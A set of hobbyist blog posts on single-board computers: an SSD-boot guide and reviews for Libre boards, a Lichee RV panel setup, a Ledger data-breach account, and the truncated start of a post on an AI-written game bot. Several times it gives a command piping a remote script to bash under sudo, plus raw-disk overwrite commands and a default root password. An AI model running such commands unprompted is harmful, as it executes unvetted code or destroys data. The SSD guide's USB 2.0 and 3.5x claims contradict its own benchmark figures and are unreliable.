serve as the bootloader. After booting though it will use your SSD for the system’s root filesystem. We will then benchmark it to measure the improvement/gains. In this guide I’ll walk you through the process. Let’s get started! Table of Contents Toggle Hardware UsedPreparing SD CardPreparing SSDCloning Installation to SSDChange SD card’s UUIDRun fsckReboot and VerifyTesting PerformanceSD Card TestSSD TestConclusionOther Resources Hardware Used Libre Computers “Renegade” ROC-RK3328-CC Firefly The ROC-RK3328-CC Firefly “Renegade” from Libre Computers is a very powerful RockChip based single board computer. The “Renegade” features 2G of DDR4 RAM, USB 3.0, a quad-core ARM Cortex-A53 CPU, a Mali-450 GPU and 1 USB 3.0 port! Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.sg* StarTech 2.5″ SATA Adapter The StarTech USB 3.1 to 2.5″ SATA adapter is one I have recommended for many years for use with all kinds of devices including the Raspberry Pi, Orange Pi, ODROID, Libre “Renegade” and Tinker Board. It’s widely compatible and works with gaming consoles as well. Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Sabrent Powered USB Hub The Sabrent powered USB hub delivers a whopping 2.5A of dedicated power for your USB attached devices. It will easily power the most thirsty of setups such as NVMe enclosures. Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.uk*, Amazon.es*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se* Note: Make sure Amazon doesn’t try to take you to the non-powered version and that it’s the one with the AC adapter that plugs in to provide extra power Preparing SD Card First you should have a completely working installation on a SD card of the OS that you would like to use. I used Armbian for this guide (recommended) so if your partitions are different it may be your flavor of Linux and need slightly altered instructions. If you have an already working installation you want to move to your SSD you can use this as well most likely. You should completely update first with: sudo apt update && sudo apt full-upgrade If you are using a different package manager then update the image however you need to for your distribution. Preparing SSD Now we are going to connect your SSD to the “Renegade”. First we are going to completely remove all partitions from the drive so it’s completely blank. If you only have one drive plugged into the “Renegade” (and nothing else) this should be /dev/sda. sudo fdisk /dev/sda Now remove all partitions from the device. If you press “p” it will print out the partitions. Here’s an example on mine: root@renegade:~# sudo fdisk /dev/sda Welcome to fdisk (util-linux 2.37.2). Changes will remain in memory only, until you decide to write them. Be careful before using the write command. Command (m for help): p Disk /dev/sda: 232.89 GiB, 250059350016 bytes, 488397168 sectors Disk model: CT250MX200SSD1 Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 4096 bytes I/O size (minimum/optimal): 4096 bytes / 4096 bytes Disklabel type: dos Disk identifier: 0x39524a4b Device Boot Start End Sectors Size Id Type /dev/sda1 8192 123469824 123461633 58.9G 83 Linux Command (m for help): d Selected partition 1 Partition 1 has been deleted. Command (m for help): w The partition table has been altered. Calling ioctl() to re-read partition table. Syncing disks. If you get an error that the device was busy don’t worry. After unplugging and replugging the SSD the partition table will be clear. Once the drive is all cleared off you’re ready for the next step. Cloning Installation to SSD We’re now ready to clone your installation to the SSD. If you don’t have the eMMC attached your current root filesystem should be /dev/mmcblk0p1 (or /dev/mmcblk1p1 on some operating systems, check ls /dev or blkid). We can now copy your drive to the SSD with the following command: cat /dev/mmcblk0 > /dev/sda Wait for the operation to complete (there won’t be any output but you will have a cursor again and be able to type new commands). It may take several minutes or longer. You are copying an entire drive from one to another basically with that one command. Mine took about 30-40 minutes (although I was using a 64GB SD card and the larger SD card you use the longer it will take to copy the whole drive). If you are having any trouble with permissions try becoming “root” first with: sudo su Now try running the command again and as the superuser you should not encounter any permission errors. Change SD card’s UUID Now unplug the SSD and plug it back in. We need to change our SD card’s UUID so that it doesn’t try to boot from that partition. We can set it to a random one with the following command: sudo tune2fs -U random /dev/mmcblk0p1 We can verify that it has changed with blkid like this: root@renegade:~# sudo blkid /dev/mmcblk0p1: LABEL="armbian_root" UUID="c2a8cffc-9d4a-4629-b408-6f56332e03f6" BLOCK_SIZE="4096" TYPE="ext4" PARTUUID="910ca03c-01" /dev/sda1: LABEL="armbian_root" UUID="72f42008-24a6-466f-bc3b-1690902fd466" BLOCK_SIZE="4096" TYPE="ext4" PARTUUID="910ca03c-01" /dev/zram0: UUID="12a7b136-4351-4fff-bc39-956516fb2ae1" TYPE="swap" /dev/zram1: LABEL="log2ram" UUID="d5ec015b-2be5-4877-8d01-128563a2eb1e" BLOCK_SIZE="4096" TYPE="ext4" Notice that /dev/sda1 and /dev/mmcblk0p1 no longer have matching UUIDs. This is exactly what we want. Run fsck Before we reboot run e2fsck on the drive like this: sudo e2fsck -yf /dev/sda1 This will prevent you from having to run fsck on the CLI the first time you try to boot. Reboot and Verify Now reboot the “Renegade” with: sudo reboot With any luck you should be booted using your SSD! We can verify this with the mount command like this: root@renegade:~# mount /dev/sda1 on / type ext4 (rw,noatime,errors=remount-ro,commit=600) /dev/sda1 on /var/log.hdd type ext4 (rw,noatime,errors=remount-ro,commit=600) /dev/zram1 on /var/log type ext4 (rw,relatime,discard) Here we can see that our root partition (/) is indeed on /dev/sda1 and not /dev/mmcblk0p1. Success! Testing Performance You can verify the performance of your SSD on Pi Benchmarks using the following command: sudo curl https://raw.githubusercontent.com/TheRemote/PiBenchmarks/master/Storage.sh | sudo bash SD Card Test To show the improvement between having a SD card rootfs and having a SSD rootfs I did a before test here with the SD card: Category Test Result HDParm Disk Read 64.24 MB/s HDParm Cached Disk Read 57.55 MB/s DD Disk Write 22.3 MB/s FIO 4k random read 3574 IOPS (14299 KB/s) FIO 4k random write 261 IOPS (1047 KB/s) IOZone 4k read 12437 KB/s IOZone 4k write 2926 KB/s IOZone 4k random read 12402 KB/s IOZone 4k random write 3148 KB/s Score: 1,361 SSD Test Category Test Result HDParm Disk Read 305.13 MB/s HDParm Cached Disk Read 239.02 MB/s DD Disk Write 115 MB/s FIO 4k random read 23432 IOPS (93729 KB/s) FIO 4k random write 12190 IOPS (48761 KB/s) IOZone 4k read 20588 KB/s IOZone 4k write 25046 KB/s IOZone 4k random read 16739 KB/s IOZone 4k random write 31967 KB/s Score: 7,656 You may view the full “Renegade” benchmark on Pi Benchmarks for this guide here. Wow, that’s quite a dramatic improvement. We went from 1,361 to 7,656. That’s nearly a 5x increase! You can also look at the raw IOPS and MB/s numbers on HDParm and the various test categories if you are more familiar with those to see the improvement. Conclusion Even though we are limited to USB 2.0 bus speeds we can still achieve about 3.5x the performance of the SD card using a SSD with a USB to 2.5″ SATA adapter. This is definitely worthwhile as it was on boards like the Raspberry Pi 3 that had USB 2.0 as well. I haven’t tested the eMMC modules for the “Renegade” yet because they are currently out of stock on Amazon. I do plan on testing these when they become available. Using a SSD is the best upgrade you can give your single board computer. With the USB 3.0 ports available on this board it’s extra worth it! Other Resources If you are moving from a Raspberry Pi to a “Renegade” see my Raspbian Portability Tool for Libre Boards Guide Definitely don’t miss my full “Renegade” ROC-RK3328-CC Firefly SBC review here You may also be interested to see my Libre Computers “Le Potato” Review Make sure to check out my ODROID XU4Q review which includes eMMC tests and benchmarking All of my single board computer reviews are available here #### Libre Computers “Le Potato” SBC Review Libre Computers “Le Potato” Review The “Le Potato” single board computer available from Libre Computers is an alternative to the Raspberry Pi. It is modeled after the Raspberry Pi 3 and is largely compatible with the Raspberry Pi 3 and it’s accessories (with some limitations/caveats). It can even run Raspberry Pi OS / Raspbian. It costs about 1/3rd of what a Raspberry Pi does while coming with 2GB of memory. It’s widely available as well (I got mine from Amazon Prime with overnight delivery*). Today we’ll be taking a look at the “Le Potato” as well as benchmarking it to see how well it can perform. Let’s get started! Table of Contents Toggle Hardware UsedBuild QualityAvailable ImagesTesting Armbian Desktop (KDE Flavor)Testing Raspberry Pi OS (Bullseye)Testing I/O PerformancePros / ConsProsConsConclusionOther Resources Hardware Used Libre Computers “Le Potato” The “Le Potato” from Libre Computers is meant to be a fully open sourced alternative to the Raspberry Pi. It can run a huge number of flavors and has up to date images available for them. Contains a Quad-Core ARM Cortex A53 CPU as well as a Mali-450 GPU as well as 2GB of RAM. Make sure you click the $5 off coupon if you are using Amazon! Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.sg* “Le Potato” Heatsink This is a heatsink for the Le Potato that will cover both the CPU and the RAM chips. Looks very nice as well! Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.sg* Build Quality The “Le Potato” is actually very nicely built. The circuitboard is clean and everything is printed and traced so it’s really easy to see. Here’s a look at the front of the board: Libre Computers “Le Potato” – Top View And the reverse: “Le Potato” – Reverse Side That is honestly beautiful work on the board. I like how easy the high contrast white makes it to read the small text on the board labeling everything. It’s also cool to see that my quality check sticker is for “2022/7”. It’s pretty fresh from the factory at only about 3 months old! Also note the eMMC connector in the middle of the board slightly toward the bottom. There are indeed eMMC modules available for these available on Amazon*. Available Images For all of my recent reviews I’ve been evaluating which images are available for the board and how up to date they are. This is a big problem with a lot of boards. Fortunately not with the Libre “Le Potato”. Here is a look at the download section: “Le Potato” Downloads Page The versions were mixed on how up to date they were: Ubuntu 22.04.1 (Jammy) Raspbian / Raspberry Pi OS 11 (Bullseye) Armbian with many flavors and versions available Debian was an older “Stretch” version so I definitely recommend Armbian which has Debian Bullseye and Sid Android Nougat/Oreo Overall this is a very good offering. It has Armbian support as well as current and up to date Linux images available. It also has Raspberry Pi OS / Raspbian available. This is important for people who are considering this as an alternative to the Pi. It does run Pi OS. There are some limitations we will cover later (such as the GPIO may need some remapping) but overall it’s a good experience if you’re just trying to use Pi-specific libraries/frameworks/etc. and aren’t trying to access specific Pi hardware features. Testing Armbian Desktop (KDE Flavor) One thing that is very important to many people considering Raspberry Pi alternatives is whether it has support from Armbian. This is because Armbian is the shining knight creating up to date and available distributions for many (but not all) SBCs. I’m very glad to report that the Armbian support for this board is fantastic. Here’s a look at the KDE flavor of Armbian running: Armbian KDE on Le Potato Browser support looks good. I’m getting GPU hardware acceleration from the Mali GPU as promised. Everything is working well! Testing Raspberry Pi OS (Bullseye) Now it’s time to test Raspberry Pi OS on the Le Potato. The latest Bullseye version is available. First I checked their download page here. Here are the notes: Changes from stock Raspbian for Raspberry Pi Smaller image size for faster flashing (~40% smaller/faster) Transparent disk resize to MicroSD card size without reboot Checksummed disk data and metadata (reduces invisible MicroSD card errors/failures) Copy-on-write and zstd compressed filesystem (reduces write-amplification and improves MicroSD card life) GRUB bootloader Latest Linux kernels with continuous updates Desktop OpenGL ES 2.0 acceleration out of the box What is different? config.txt does not affect anything so dtoverlay entries do not work! There is work in progress to have our wiring tool do basic emulation. GPIO numbers need to be translated using the wiring tool 15 software that utilize Raspberry Pi specific hardware features will not work! There are several important things here. First of all dtoverlay entries are not working (yet). This will be a dealbreaker for some accessories that require using an overlay with them. They are working on adding support for this but according to their notes it’s not done yet. The second thing is that GPIO numbers need to be translated using their special tool. That means this board is not a perfect electrical replacement for a Raspberry Pi 3. It will probably work with most things after translation as long as there isn’t an overlay required. A positive thing is that it has desktop OpenGL ES 2.0 acceleration out of the box. That means we have a fast desktop with GPU acceleration out of the box! Here’s a look: “Le Potato” – Raspberry Pi OS Everything feels very snappy! It’s otherwise exactly what you’d expect Raspberry Pi OS to be (which is a good thing). Testing I/O Performance You can verify the performance of your SD card on Pi Benchmarks using the following command: sudo curl https://raw.githubusercontent.com/TheRemote/PiBenchmarks/master/Storage.sh | sudo bash The average score for a Raspberry Pi 3 is around 900-1,000 so since this is very similar hardware a good result would be something in that range. Here are the results: Category Test Result HDParm Disk Read 21.54 MB/s HDParm Cached Disk Read 21.83 MB/s DD Disk Write 16.3 MB/s FIO 4k random read 1804 IOPS (7219 KB/s) FIO 4k random write 925 IOPS (3700 KB/s) IOZone 4k read 6720 KB/s IOZone 4k write 2031 KB/s IOZone 4k random read 5617 KB/s IOZone 4k random write 2956 KB/s Score: 939 The full “Le Potato” benchmark can be viewed here on pibenchmarks.com. Perfect, that’s exactly where it should be! Performance looks good and I suspect it is substantially higher using the eMMC module. I would like to get one of those and do some future testing with it. Pros / Cons Pros Widely available for $40 Performance and form-factor similar to a Raspberry Pi 3 High-contrast color finish / text / traces Cons Only has USB 2.0 Conclusion This board was only $40 with free shipping at time of writing (and applied $5 coupon). It’s a fantastic value. It’s basically a Raspberry Pi 3 (and it was intended / designed to be). The build quality is rock solid and is better than the current Raspberry Pi generations. It is not a perfect drop-in replacement for the Raspberry Pi 3. I will be covering some other boards in the new future that claim to be that but this one is not. There is some GPIO remapping that needs to be done and dtoverlay support isn’t done yet. If you just need access to the Pi libraries/ecosystem this board will work great and runs Raspbian fine. If you are doing advanced GPIO / hats / etc. then you should do some checking to make sure you will be able to do what you’d like to with this board. For anyone who just wants to run a PiHole for example this would be a much smarter board choice than the Raspberry Pi at almost 1/3rd the price. It’s also actually available for that price. I really like Libre Computers philosophy of open source and keeping their images up to date (as well as a wide selection available). It also has great Armbian support. The “Le Potato” would be a fantastic choice for many projects / use cases! Other Resources If you are moving from a Raspberry Pi to a “Le Potato” see my Raspbian Portability Tool for Libre Boards Guide For $10 more you can step up to the Libre Computers “Renegade” which has a USB 3.0 port Don’t miss my SSD booting guide for the Libre “Le Potato” here The Orange Pi Zero 2 is a board that costs around $30 or so and is another fantastic choice as a Raspberry Pi alternative If you would like to use NVMe-grade storage with an SBC the ODROID M1 has a real M.2 NVMe slot The ODROID XU4Q is also available relatively inexpensively and performs very well #### Libre Computers ROC-RK3328-CC “Renegade” SBC Review Libre Computers “Renegade” ROC-RK3328-CC Firefly Review Recently I reviewed the Libre Computers “Le Potato” and I really like it. Libre Computers offers very up to date images (and takes pride in it) and the build quality on the board was rock solid. I also like that it is actually widely available to order for only $40. I’m very excited that today I received the “Renegade” ROC-RK3328-CC Firefly board from Libre Computers which is available for only $50. One very interesting feature this board has that the “Le Potato” doesn’t is a USB 3.0 port. Since I love writing USB booting guides for all my single board computers having a USB 3.0 port means that the “Renegade” has the potential to hit much higher I/O performance scores using USB 3.0. Will the “Renegade” live up to the high expectations set by the “Le Potato”? Let’s find out! Table of Contents Toggle Hardware UsedBuild QualityImages AvailableTesting I/O PerformancePros / ConsProsConsConclusionOther Resources Hardware Used Libre Computers “Renegade” ROC-RK3328-CC Firefly The ROC-RK3328-CC Firefly “Renegade” from Libre Computers is a very powerful RockChip based single board computer. The “Renegade” features 2G of DDR4 RAM, USB 3.0, a quad-core ARM Cortex-A53 CPU, a Mali-450 GPU and 1 USB 3.0 port! Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.sg* Build Quality The board uses the same high contrast colors as the “Le Potato”. It is just reversed as white text on black background instead of black text on white background. It’s still extremely easy to see the text and the board traces: Libre Computers “Renegade” – Front View For the back view: Libre Computers “Renegade” – Back View Like the “Le Potato” this board came very fresh from the factory. We can see from my quality check sticker that this board was checked on August of 2022. This one was so fresh I could smell some of the manufacturing chemicals still. Everything is very solid and looks good. The edges of the board are very clean and everything feels sturdy. I would rate the build quality as excellent. The pictures don’t do it justice as the boards traces actually catch the light as you rotate the board which is a very cool visual effect. Images Available In all of my recent reviews of single board computers we have been analyzing the number of images available for the board and how old they are. One of Libre Computers’ most compelling points is that they keep a wide variety of up to date images available for their boards. The “Renegade” is no exception here. Here are some of the choices available at time of writing (see the official download page for all choices): Ubuntu 22.04.1 Desktop / Server Images Raspbian 11 Bullseye Armbian (full supported status) OpenMediaVault 6.0.24 Android 7.0.2 That’s a very nice and up to date selection of images including Raspberry Pi OS / Raspbian! The full Armbian support is nice as well. The only version a little on the older side is Android but Libre Computers is largely a Linux company and all of those images are as new as they should be! Testing I/O Performance You can verify the performance of your SD card on Pi Benchmarks using the following command: sudo curl https://raw.githubusercontent.com/TheRemote/PiBenchmarks/master/Storage.sh | sudo bash On the “Le Potato” we got a score of 939 so we’d expect something close to that score for the “Renegade” when using a SD card. Here are the results: Category Test Result HDParm Disk Read 64.24 MB/s HDParm Cached Disk Read 57.55 MB/s DD Disk Write 22.3 MB/s FIO 4k random read 3574 IOPS (14299 KB/s) FIO 4k random write 261 IOPS (1047 KB/s) IOZone 4k read 12437 KB/s IOZone 4k write 2926 KB/s IOZone 4k random read 12402 KB/s IOZone 4k random write 3148 KB/s Score: 1,361 The full “Renegade” SD card benchmark can be viewed here on pibenchmarks.com. Oh wow, I was definitely not expecting that. It obliterated the “Le Potato”. Perhaps it’s the DDR4 memory in the board or a much higher core system clock? In fact that is one of the highest SD card scores I’ve seen and it was just using a pretty standard Samsung EVO Select (green). That’s a very impressive result. Now you may be curious what kind of performance we can get using a SSD via the USB 3.0 port. I was too. Here is a benchmark using a SSD: Category Test Result HDParm Disk Read 305.13 MB/s HDParm Cached Disk Read 239.02 MB/s DD Disk Write 115 MB/s FIO 4k random read 23432 IOPS (93729 KB/s) FIO 4k random write 12190 IOPS (48761 KB/s) IOZone 4k read 20588 KB/s IOZone 4k write 25046 KB/s IOZone 4k random read 16739 KB/s IOZone 4k random write 31967 KB/s Score: 7,656 The full “Renegade” SSD benchmark can be viewed here on pibenchmarks.com. Excellent, we are definitely getting our USB 3.0 speeds and hitting about 3x higher numbers than the “Le Potato” can due to that model only having USB 2.0. Make sure you see my SSD boot guide for instructions on how to set up a SSD with the Renegade for high I/O performance! Pros / Cons Pros Has USB 3.0 Has a powerful CPU and GPU that can easily handle desktop performance Large and up to date image selection Tools available to easily convert from Raspberry Pi to Libre Cons Only 1 USB 3.0 port is available (but using a hub and other available board connections is possible) Conclusion I continue to be very impressed by the boards from Libre Computers. The ROC-RK3328-CC Firefly board looks and feels like a much more expensive board than $50. This board is particularly stylish the way the traces catch the light and the black background of the board has a little bit of shine to it. You don’t have to worry about old unsupported images with Libre Computers. They have a huge emphasis and even take pride on keeping their software and images up to date and this is a really refreshing change vs. a lot of other companies that are trying to compete with the Pi form factor. With the on-board USB 3.0 port you can achieve very high I/O performance scores rivaling anything a Pi 4 can do. The quad-core CPU is no slouch either and the 2GB of RAM included doesn’t leave you starving for resources. It’s very comparable to a entry-level 2GB Pi 4 but you can buy 2-3 of these boards for the prices that the Pi is going for right now. Benchmarking showed excellent performance gains using a SSD with this board (and pretty impressive SD card performance as well). This board would be great for running one of my Minecraft Geyser containers especially if paired with a SSD. When I was strongly encouraging people to buy Pis a few years ago they were around the price this board is now. I can comfortably recommend this board at $50 to anyone who needs a powerful and flexible single board computer! Other Resources If you are moving from a Raspberry Pi to a “Renegade” see my Raspbian Portability Tool for Libre Boards Guide The “Le Potato” is around $40 from Libre Computers and is also an excellent board The Orange Pi Zero 2 is a board that costs around $30 or so and is another fantastic choice as a Raspberry Pi alternative If you would like to use NVMe-grade storage with an SBC the ODROID M1 has a real M.2 NVMe slot See the rest of my single board computer reviews #### Lichee RV 86 Panel Getting Started Guide Lichee RV 86 Panel Getting Started Guide The Lichee RV 86 Panel is a RISC-V powered Linux computer complete with screen! It comes as a low cost kit with everything you need including the Lichee RV module. In this guide I’ll show you how to get going with the Lichee RV 86 panel including getting Linux on there and getting it connected to WiFi. Let’s get started! Table of Contents Toggle Hardware UsedGetting System ImageWriting ImageSet Display ResolutionFirst Boot / ConfigurationInitial LoginWireless Configuration (Debian)Wireless Configuration (Tina)ConclusionOther Resources Hardware Used Lichee RV 86 Panel – First Boot Links: AliExpress*, Amazon.com*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se* LicheeRV w/ Dock The Lichee RV Dock runs the RISC-V architecture with a Allwinner D1 1.0 GHz CPU. It uses 2 M.2 connectors side by side as the connection between the dock and the LicheeRV. Links: Amazon.com*, AliExpress*, Amazon.ca*, Amazon.com.au*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.sg* Getting System Image You can choose between Debian and Tina Linux for the Lichee RV 86 Panel. The official images are located here. If you want to use Debian then download the LicheeRV_Debian_86_480p.7z file (even if you have the 720p screen). We will fix your screen to match the correct resolution in a later step. You may also choose the “Tina” Linux distribution for a more lightweight distribution. Important: If you want to have the touch driver you should choose Tina Linux as Debian does not contain the touch driver for the screen Writing Image Unfortunately to write the image we need to use the PhoenixFlash application which is for Windows only. If you do not have Windows I actually did this using a virtual machine with USB passthrough and ran PhoenixFlash that way. First you should get the SD card association’s formatting tool from here (free). Install the SD card association’s formatting tool application and then open it and completely clean the SD card off since if we don’t PhoenixFlash often will not see the SD card. Next we need to get PhoenixFlash. You can get PhoenixFlash from here (official Sipeed site). Once you open PhoenixFlash choose the downloaded image from the previous step and configure the application like this (choosing “Start Up”): PhoenixFlash Configuration The flash took a long time for me. Wait for it to complete all of the way. Once it’s done we’re ready to set the correct resolution for the display. Set Display Resolution For the display to use the correct resolution we need to update the SD card with the proper boot image for your screen size. Head to the official Sipeed downloads page for the different boot packages. boot_package_86_480p.fex boot_package_86_720p.fex I got the 720p screen so I downloaded the boot_package_86_720p file. Download the correct one for your screen size. Now plug your SD card into your computer. If you are using an adapter the partitions will typically show up as /dev/sda but it will depend on your system. If you aren’t using NVMe or another drive is using /dev/sda already then it may show up as /dev/sdb. This could be /dev/mmcblk0 if you have a SD card slot in something like a laptop. Make sure you’ve determined the right device before running this command. If you are unsure try unplugging the SD card and doing ls /dev and then plug it in and see what devices have changed. Once you’ve determined this navigate to the folder where you downloaded the boot package file. Now in the Linux terminal we can use: sudo dd if=boot_package_86_720p.fex of=/dev/sdX bs=1K seek=16400 Change sdX to match your correct SD card device. Once that is complete you are ready to boot! First Boot / Configuration Insert your SD card into the Lichee RV. If necessary remove the outer 2 screws so you can open the inside panel. You can see where to insert the SD card below: Lichee RV 86 Panel – Opened Back Now connect the USB-C either to your computer or another power source to power on the Lichee RV 86 panel. If the PhoenixCard flash as well as the boot package dd operation went well then you should see this: Lichee RV 86 Panel – First Boot If you are seeing a bunch of flickering then you likely need to flash a different boot package to your device as per the previous step (try 480p instead of 720p or vice versa). The easiest way to proceed for initial configuration is to plug in a mouse/keyboard at this point. This will let us connect to the WiFi at which point we will be able to SSH into the device and configure it that way. If you have something like a mouse/keyboard combo that uses a USB adapter such as a Logitech set that is even better as you can use a single USB-C to USB-A adapter to connect both. You can also use a USB-C hub to extend the ports. You may also use a TTY serial to USB adapter and use the serial connection to do some initial configuration. If all of that sounds incredibly painful / difficult then I would actually suggest getting the Lichee RV dock (linked in the “Hardware Used” section). If you have the dock you can simply connect it to the dock to do most of this configuration. At that point you could install VNC, RDP, enable SSH and all of the other ways to remotely manage / control the device. This should make things easier for sure if you don’t have all of these adapters laying around. My setup for initial configuration ended up looking like this: Lichee RV 86 Panel Mouse & Keyboard Setup Initial Login The username is root and the password is: licheepi Wireless Configuration (Debian) According to Sipeed the wireless on Debian can only be configured with the GUI. We are going to use the Settings -> Connman Settings application like this: Lichee RV 86 Panel – Debian Wireless Settings Select your network and enter your password and then it will immediately connect! Wireless Configuration (Tina) On Tina you set the wireless network by editing: /etc/wifi/wpa-supplicant.conf Add the following contents to the file and reboot: network={ ssid="WiFi_name" psk="WiFi_password" } Conclusion The Lichee RV 86 Panel is available (including the Lichee RV module) for as low as $60-70 or so. It’s pretty easy to get an up and running Debian or Tina Linux computer with a screen extremely quickly. This is all using completely open RISC-V hardware! This type of setup is perfect for things like a control panel and monitoring system. My intention was to use this more as a panel running light applications and displaying information and so Debian suited my purposes but if you use Tina Linux you can use the touch screen driver and have it actually control applications/settings/etc. It’s basically a monitoring panel with a Linux computer inside it that is easy to deploy and uses very little power. There are 512MB and 1GB modules available. For this guide I used the 720p version of the screen with the 1GB module. Now that it’s all booted into Debian there are many things I can potentially do with it and I’ll be sure to share some more of those on the site in the future! Other Resources Make sure to check out my Lichee RV with Dock review. I highly recommend the official Lichee dock to make it easier to work with Lichee RV modules! You can see the rest of my RISC-V related articles here #### Life as a “Ledger” Wallet Data Breach Victim I have had two Ledger Nano X* cryptocurrency wallets for a couple of years now. One of them died during a firmware update which they offered to replace but I didn’t print the label and send it in time. That’s on me and if that was the only problem I had I could have lived with it. Unfortunately Ledger collects a lot of personal information about you such as your email address, phone number and even your home address! They failed to protect this information and got hacked and all of this data was exposed. Funds were not stolen because of the way hardware wallets work (your private key never leaves the device and is generated by the end user) but apparently everything else except the money was (all your personal data, how much you have, etc)! I was a confirmed “victim” of this hack and I wanted to write this article to explain what (if anything) has happened since. Spoiler alert: plenty! Table of Contents Toggle First Notice – July 29th 2020Second Notice – December 21st 2020Third Notice – December 23rd 2020Spam EmailsSpam Text/VoicemailsFinal ThoughtsOther Resources First Notice – July 29th 2020 The first notice I received was in July 2020 and didn’t sound too serious. They clearly didn’t realize the extent of what they were dealing with at the time. It sounded like mostly just email addresses (they only said a small subset had more information stolen). I was already getting contacted at this point and I’m sure many others were as well which likely is what initially prompted them to send out this notice. Here is the first notice I received: Ledger Security Notice #1 – July 29th 2020 By now I had already started receiving phone calls/texts/emails but we’ll get into that more later. Second Notice – December 21st 2020 Almost a full 6 months later I received a second notice that was a lot more serious. Here it is: Ledger Security Notice #2 – December 21st 2020 Now that is a lot more specific! They’re getting warmer. They now know that my name and surname and my postal address was exposed. Initially when I received this I thought they’re still not quite there yet. My phone number was most certainly also leaked but that didn’t seem to be in their list. Very curious! Third Notice – December 23rd 2020 Only a couple of days later I received a third notice. This one did have my phone number included but this one is a different hack altogether. This one is the “Shopify” hack which happens to be Ledger’s e-commerce vendor. Here is the third notice: Ledger Security Notice #3 – December 23rd 2020 The notice states that this hack was reported to Shopify in September of 2020 which was months after I received my notice for the first hack. They got their information stolen/hacked again in a separate incident with their e-commerce vendor. This means there are now multiple copies of all my personal information like phone number and address, cryptocurrency balances at the time, email, etc. floating around in multiple separate hacking incidents and data dumps. This is a device that is supposed to help you protect your cryptocurrency and keep it safe. What a mess! Spam Emails The spam emails have only continued to increase over time. This is probably because my leaked information is on lists being sold/passed around to various spammers. They are *very* targeted toward cryptocurrency. Gone are the days where my spam folder is filled with people trying to sell me Viagra (there is still one in there keen readers may spot). It now looks like this: Gmail Spam Folder after Ledger data leak I even have a message from elon @ give-away tesla.com with a 5000 BTC giveaway, wow! This has and continues to be a pretty dramatic change from what it looked for before the leak when nobody knew this email address was tied to cryptocurrency. Spam Text/Voicemails Fortunately these have decreased in frequency over time. Early on when the leaks were still fresh and even before we were notified of the breach I was getting multiple of these per day. It has been a couple of months since I got a cryptocurrency related spam voicemail. The texts don’t seem to be coming through as frequently lately either. I should note though that I have a Google Pixel phone running the latest Android and they have been improving their SMS/voicemail spam detection. It’s possible these attempts haven’t decreased at all but rather that Google’s spam filter is getting much better at catching them now that these attacks have been going on for a while. Final Thoughts I’m very disappointed that Ledger has somehow managed to leak my most personal data such as cell phone number, cryptocurrency balances, email address, home address, etc. multiple times across several different hacks. The spookiest part of it has been how targeted some of these email/SMS messages are. They know exactly which cryptocurrencies I have so they will specifically target Ethereum, Litecoin and some of the others that I was holding a balance on during these leaks. Buying from Ledger directly (where they ship it to you from France) is supposed to be the safest way to buy it since there have been some instances of devices being tampered with on third party retailers. My initial data leak was directly because I bought it from them instead of Amazon. There have been several more though so now it’s difficult to tell if it would have made any difference across these multiple leaks. I have had a Trezor One* for much longer than both of my Ledger devices and none of that data has ever been leaked. I use my Ledger every single day. I am using it to stake multiple cryptocurrencies during my journey to learn about and discover staking (stay tuned for some articles on this) and use it to sign my staking transactions. The device is pretty nice to use and supports by far the most cryptocurrencies out there. It has kept my cryptocurrency safe. I wish I could say the same about my personal data. I really strongly encourage Ledger to permanently get rid of and scrub all these programs to gather data on your customers. Why do you need to keep this sales and marketing list that got initially hacked? Why does Shopify have a database of all this info waiting to be stolen? These appear to be the vendors that you yourselves selected and entered into agreements with. It can’t be worth whatever they paid you to be able to gather/collect this information, and if you didn’t know they were doing it then I sincerely hope you have completely redone those agreements by now to make sure they aren’t collecting a big database of this information. Have any of you out there reading this been negatively impacted by these data leaks? I’m curious what your stories are! Other Resources For the best place to mine and exchange your altcoins check out my Best Altcoin Mining Pools and Exchanges article To understand the current situation with Ethereum mining check out my Why GPU / Ethereum Mining Is Toast – Stop Buying GPUs article #### Making a Core Keeper Fishing Bot Using AI (Grok 3) Making a Core Keeper Fishing Bot with AI (Grok 3) Despite the massive hype around AI I have always had a lot of trouble getting the AI to generate usable code. Even when I reply back and try to help the AI understand what it’s missing it often tends to actually get *worse* after my suggestions. Even for this simple project ChatGPT and Gemini failed miserably to write a very simple fishing bot. They both hallucinated and tried using PowerShell modules that don’t exist. Trying to further refine my prompts only yielded *worse* results! After hearing all the hype around Grok 3 I decided to give it a try at writing something very simple I wanted: something to simply click the mouse for me in Core Keeper in order to fish. To my surprise in “Think” mode Grok 3 was able to give me incredibly simple and effective code in one try. Wow! Table of Contents Toggle My PromptUsing the BotGemini’s Failed AttemptsChatGPT’s Failed AttemptsHow About Deepseek R1?ConclusionWhich AI model actually produced a working Core Keeper fishing bot script?Why did ChatGPT and Deepseek fail to generate the bot?What is the optimal timing interval for the Core Keeper bot loop? My Prompt My prompt to Grok 3 was simply this: Write a PowerShell script that sends keystrokes to the game “Core Keeper” simply right clicking and waiting 8 seconds then right clicking again. After that it should recast one second later and then wait another 8 seconds The winning prompt for Grok 3 in “Think” mode to write a Core Keeper fishing bot successfully Why did I choose PowerShell? Because it’s built into the Windows operating system natively. You don’t have to download anything. You just launch PowerShell from the start menu and paste the code. Using the Bot Here is the PowerShell code that Grok 3 produced: # Define the 